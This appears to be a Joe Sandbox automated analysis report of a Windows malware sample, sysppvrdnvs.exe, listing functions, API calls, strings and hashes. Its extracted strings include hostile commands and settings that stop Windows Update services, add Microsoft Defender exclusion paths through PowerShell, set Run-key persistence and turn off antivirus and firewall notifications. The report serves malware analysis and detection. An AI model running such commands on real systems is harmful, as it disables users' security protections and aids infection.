Opcode ID: 491eb203a0c6402b031db6bffc66d55fae6273400cfd7448ee54caaea6ad20ee
Instruction ID: 3b152336b57d45bd484518126aaa8069a8e5b95e48398e5ac574b9fb36890b51
Opcode Fuzzy Hash: 491eb203a0c6402b031db6bffc66d55fae6273400cfd7448ee54caaea6ad20ee
Instruction Fuzzy Hash: 8C41C371A00A02ABC714AB399848793F3A4BF84310F14823AE82D93391E739B855CB99

Function 00409440 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040944E
_allshl.NTDLL ref: 0040945D
_allshl.NTDLL ref: 0040946C
_allshl.NTDLL ref: 0040947B
_allshl.NTDLL ref: 0040948A

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction ID: d897fcd8a6e9f4a7bfe0dcf07208541f34cf8f45c30d72ee7b1e381ef02b65f1
Opcode Fuzzy Hash: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction Fuzzy Hash: D2F03672D015289B9710FEEF84424CAFBE59F89354B21C176F818E3360E6709E0946F1

Function 004076C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,?), ref: 004076E8
CreateThread.KERNEL32(00000000,00000000,00407720,00000000,00000000,00000000), ref: 0040770A
CloseHandle.KERNEL32(00000000), ref: 00407711

Strings

.#v, xrefs: 00407711

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThreadmemcpy
String ID: .#v
API String ID: 2064604595-507759092
Opcode ID: 69a3062be9f96e8746b97fe22f816949e30cab75ecd54b1de59a1ef8a98444b9
Instruction ID: 1765171bc77b4966af89c460e37a8a9fa1404b8c40c23c814704cc40933dc83e
Opcode Fuzzy Hash: 69a3062be9f96e8746b97fe22f816949e30cab75ecd54b1de59a1ef8a98444b9
Instruction Fuzzy Hash: 54F090B1A04308FBDB00DFA4DC46F9E7778AB48704F208468FA08A72C1D675BA10C769

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction ID: 923efa3f85c100d8dcf87aa4bb405070ff806fabc372267044aefe38fa55a991
Opcode Fuzzy Hash: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction Fuzzy Hash: B72131715083119BC200DF55D844D6BB7E8BFCCB54F044A2DF598A3291D774EA49CBAA

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,?,00401FD3,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,?,00401FD3,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction ID: 470b9b0004fc9485880b3b0232d8394a6163a25caab740c915041083b8486df8
Opcode Fuzzy Hash: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction Fuzzy Hash: 8811AD72148305AFD310CF65EC84AEBB7ECEB88710F40092EF945D2150E6B9E949A7B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction ID: 56798eeddd779857b304cdb020dc52eae5646efd672cabe94dca1e5c1b4e91c2
Opcode Fuzzy Hash: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction Fuzzy Hash: 90014B712483046EE7209B96DC88F9B77A8EBC8711F408429F608DA2D0D7B5A9459B7A

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 3a256af2c019b276b8838bcc1186c61ecce618c98c01d702573358750c80b1c1
Instruction ID: dfa7cd44099aa032f197b32b6ae0ce93fcebf173881def012ca395fa41330849
Opcode Fuzzy Hash: 3a256af2c019b276b8838bcc1186c61ecce618c98c01d702573358750c80b1c1
Instruction Fuzzy Hash: BD01F7356423049FC3209F26EC44ADB77F8AF49712B04443EE50693650DB34F545DB28

Function 0040E400 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E640: memset.NTDLL ref: 0040E668
Part of subcall function 0040E640: InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
Part of subcall function 0040E640: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
Part of subcall function 0040E640: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
Part of subcall function 0040E640: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
Part of subcall function 0040E640: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
Part of subcall function 0040E640: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
Part of subcall function 0040E640: InternetCloseHandle.WININET(00000000), ref: 0040E837

Part of subcall function 0040E530: SysAllocString.OLEAUT32(00000000), ref: 0040E55E
Part of subcall function 0040E530: CoCreateInstance.OLE32(00413000,00000000,00004401,00412FF0,00000000), ref: 0040E586
Part of subcall function 0040E530: SysFreeString.OLEAUT32(00000000), ref: 0040E621

SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

%S%S, xrefs: 0040E4C6

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 20876e0eb685dac13c64e0264db20ecd2e25c5e2071ea80cc012e61abc239ccc
Instruction ID: e5c4592a6bf7e21b90caaa4e382eb9027ff93744cff569d410d2f086dfa1b48d
Opcode Fuzzy Hash: 20876e0eb685dac13c64e0264db20ecd2e25c5e2071ea80cc012e61abc239ccc
Instruction Fuzzy Hash: 41415CB5D00209AFCB04DFE5C885AEFB7B5BF48304F104929E605B7390E738AA41CBA1

Function 0040DCD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0040DD10
CloseHandle.KERNEL32(?), ref: 0040DD29

Strings

.#v, xrefs: 0040DD29

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseHandleObjectSingleWait
String ID: .#v
API String ID: 528846559-507759092
Opcode ID: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction ID: afdab107b7ea46b491ba3f785a3108c34962e981a5b403661ae60ceb940f9cda
Opcode Fuzzy Hash: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction Fuzzy Hash: 6F11C974A04208EFDB14CF84C580B59B7B6FF49314F2081AAEC06AB381C775EE42DB95

Function 00405EF0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,?,00000000,?), ref: 00405EFF
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F3E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405FB3
LeaveCriticalSection.KERNEL32(00415B88), ref: 00405FD0

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 6f0f4f80585b29744b6880eeb75b2d3a88a0070be33d566f9884971b99258328
Instruction ID: 31cd86352096c342a95fcbe165c6b10336903156d0058c686e7ee331cda8bfc5
Opcode Fuzzy Hash: 6f0f4f80585b29744b6880eeb75b2d3a88a0070be33d566f9884971b99258328
Instruction Fuzzy Hash: 08218D35D04609EFDB04DB94D885BDEBB71EB44304F1481BAE8096B380D37CA985CF8A

Analysis Process: sysppvrdnvs.exePID: 4492, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1490
Total number of Limit Nodes:	1

Executed Functions

Function 00407940 Relevance: 282.5, APIs: 103, Strings: 58, Instructions: 749
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 0040794E
CreateMutexA.KERNELBASE(00000000,00000000,mmn7nnm8na), ref: 0040795D
GetLastError.KERNEL32 ref: 00407969
ExitProcess.KERNEL32 ref: 00407978
GetModuleFileNameW.KERNEL32(00000000,004161D0,00000105), ref: 004079B2
PathFindFileNameW.SHLWAPI(004161D0), ref: 004079BD
wsprintfW.USER32 ref: 004079DA
DeleteFileW.KERNEL32(?), ref: 004079EA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00407A01
wcscmp.NTDLL ref: 00407A13
ExitProcess.KERNEL32 ref: 00407A32

Strings

%s:Zone.Identifier, xrefs: 004079CE
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 004081FE
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407B9B
SOFTWARE\Microsoft\Security Center, xrefs: 004080E7
FirewallDisableNotify, xrefs: 0040824D
FirewallOverride, xrefs: 0040822E
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407EE4
SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator, xrefs: 0040802D
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407AA9
NoAutoUpdate, xrefs: 00407FC2
/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, xrefs: 00407D5B
EnableWindowsUpdate, xrefs: 0040809B
AntiVirusDisableNotify, xrefs: 00408193
Start, xrefs: 00407DAC
cmd.exe, xrefs: 00407D45
OverrideNotice, xrefs: 00408000
AlwaysAutoUpdate, xrefs: 00407FE1
AutoUpdateOptions, xrefs: 0040807C
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 00407E32
%s\tbtcmds.dat, xrefs: 00408355
open, xrefs: 00407D65
%s\tbtnds.dat, xrefs: 0040833B
UpdatesOverride, xrefs: 004082C9
PreventDownload, xrefs: 004080BA
AntiVirusOverride, xrefs: 0040828B
AntiVirusOverride, xrefs: 00408174
/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -, xrefs: 00407D40
AntiSpywareOverride, xrefs: 0040826C
UpdatesDisableNotify, xrefs: 004082E8
Start, xrefs: 00407E05
open, xrefs: 00407D4A
UpdatesDisableNotify, xrefs: 004081D1
SYSTEM\CurrentControlSet\Services\DoSvc, xrefs: 00407E8B
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407F3D
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407F96
%temp%, xrefs: 00407C3F
DisableWindowsUpdate, xrefs: 00407F69
%s\%s, xrefs: 00407C56
SYSTEM\CurrentControlSet\Services\UsoSvc, xrefs: 00407D80
Start, xrefs: 00407F10
Start, xrefs: 00407EB7
cmd.exe, xrefs: 00407D60
mmn7nnm8na, xrefs: 00407954
%windir%, xrefs: 00407A44
Start, xrefs: 00407E5E
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407CA4
SYSTEM\CurrentControlSet\Services\WaaSMedicSvc, xrefs: 00407DD9
%userprofile%, xrefs: 004079FC
%s\%s, xrefs: 00407B4D
FirewallDisableNotify, xrefs: 00408136
%s\%s, xrefs: 00407A5B
AntiSpywareOverride, xrefs: 00408155
DisableWindowsUpdate, xrefs: 0040805D
AntiVirusDisableNotify, xrefs: 004082AA
sysppvrdnvs.exe, xrefs: 00407A07, 00407A4F, 00407B41, 00407C4A
FirewallOverride, xrefs: 00408117
UpdatesOverride, xrefs: 004081B2
Windows Settings, xrefs: 00407AE7, 00407BD9, 00407CE2

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -$/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait$AlwaysAutoUpdate$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$AutoUpdateOptions$DisableWindowsUpdate$DisableWindowsUpdate$EnableWindowsUpdate$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$OverrideNotice$PreventDownload$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\DoSvc$SYSTEM\CurrentControlSet\Services\UsoSvc$SYSTEM\CurrentControlSet\Services\WaaSMedicSvc$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$Start$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$cmd.exe$cmd.exe$mmn7nnm8na$open$open$sysppvrdnvs.exe
API String ID: 4172876685-159212852
Opcode ID: a4de16f9cd9a57b13bb64e1272bcdec428ac0ec926cd71be17685e2324921950
Instruction ID: 367eef7d7cdc4f6bbf58631969cb55eb0d30a7b17f9c19f9a6cac2e90da0940f
Opcode Fuzzy Hash: a4de16f9cd9a57b13bb64e1272bcdec428ac0ec926cd71be17685e2324921950
Instruction Fuzzy Hash: 245240B1A80318BBE7209BA0DC4AFD97775AB48B15F1081A5B309B61D0D7F5AAC4CF5C

Non-executed Functions

Function 004068E0 Relevance: 105.4, APIs: 47, Strings: 13, Instructions: 407
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,004070E0,?,?,?), ref: 004068E8
wsprintfW.USER32 ref: 0040691F
wsprintfW.USER32 ref: 0040693F
wsprintfW.USER32 ref: 0040695F
wsprintfW.USER32 ref: 0040697F
wsprintfW.USER32 ref: 00406998
wsprintfW.USER32 ref: 004069B8
PathFileExistsW.SHLWAPI(?), ref: 004069C8
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A01
DeleteFileW.KERNEL32(?), ref: 00406A0E
PathFileExistsW.SHLWAPI(?), ref: 00406A1B
PathFileExistsW.SHLWAPI(?), ref: 00406A30
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A46
DeleteFileW.KERNEL32(?), ref: 00406A53
PathFileExistsW.SHLWAPI(?), ref: 00406A60
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406A73

Strings

%s\%s, xrefs: 00406EC0
%s\%s\%s, xrefs: 00406EE7
%s\%s, xrefs: 00406933
%s\%s, xrefs: 00406E4D
shell32.dll, xrefs: 00406C38
%s\%s\rvldrv.exe, xrefs: 004069AC
%s\%s, xrefs: 00406973
%s\*, xrefs: 0040698C
shell32.dll, xrefs: 00406C16
shell32.dll, xrefs: 00406BFC
shell32.dll, xrefs: 00406C52
%s\%s\rvlcfg.exe, xrefs: 00406953
%s.lnk, xrefs: 00406913

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$AttributesDelete$CreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\rvlcfg.exe$%s\%s\rvldrv.exe$%s\*$shell32.dll$shell32.dll$shell32.dll$shell32.dll
API String ID: 495142193-638321828
Opcode ID: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction ID: 1e7642a3bb229a683b77cec8f60a4b6186945a0df842d4041ba496de3fd539ef
Opcode Fuzzy Hash: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction Fuzzy Hash: 500270B5900218EBDB20DB60DC44FEA7778BF44705F0485EAF50AA6190DBB89BD4CF69

Function 004067A0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00406F1A,00000000), ref: 004067AF
wsprintfW.USER32 ref: 004067C5
FindFirstFileW.KERNEL32(?,?), ref: 004067DC
lstrcmpW.KERNEL32(?,00411368), ref: 00406801
lstrcmpW.KERNEL32(?,0041136C), ref: 00406817
wsprintfW.USER32 ref: 0040683A
wsprintfW.USER32 ref: 0040685A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406896
FindNextFileW.KERNEL32(000000FF,?), ref: 004068AA
FindClose.KERNEL32(000000FF), ref: 004068BF
RemoveDirectoryW.KERNEL32(?), ref: 004068C9

Strings

%s\%s, xrefs: 0040682E
%s\%s, xrefs: 0040684E
%s\*, xrefs: 004067B9

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction ID: 96f5080d1998a7d60275ba97af61759e4b4e94f5b4bc08b7936e0b3de653678a
Opcode Fuzzy Hash: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction Fuzzy Hash: 923145B5900218AFDB10DBA0DC88FDA7778BB48701F40C5E9F609A3195DA75EAD4CF98

Function 0040E190 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
htons.WS2_32(0000076C), ref: 0040E1E0
inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D

Part of subcall function 0040B430: htons.WS2_32(00000050), ref: 0040B45D
Part of subcall function 0040B430: socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
Part of subcall function 0040B430: connect.WS2_32(000000FF,?,00000010), ref: 0040B496
Part of subcall function 0040B430: getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

bind.WS2_32(000000FF,?,00000010), ref: 0040E243
lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E310: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Part of subcall function 0040E310: Sleep.KERNEL32(000003E8), ref: 0040E36E
Part of subcall function 0040E310: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
Part of subcall function 0040E310: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
Part of subcall function 0040E310: StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

X#A, xrefs: 0040E258, 0040E25B
239.255.255.250, xrefs: 0040E1EA

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250$X#A
API String ID: 726339449-2206458040
Opcode ID: 6911e90d37da8db62bd51864f6155ca9886bbc89aad1387f27fc75aef26ea545
Instruction ID: e8e0ae0e245dd7c097b927a75a8676c49a2f7ecfee9f68fb0cb72d84dadb0e27
Opcode Fuzzy Hash: 6911e90d37da8db62bd51864f6155ca9886bbc89aad1387f27fc75aef26ea545
Instruction Fuzzy Hash: 7F4119B4E00208ABDB04DFE4D989BEEBBB5EF48304F108569F505B7390E7B55A44CB59

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040DBB0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040DBCE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
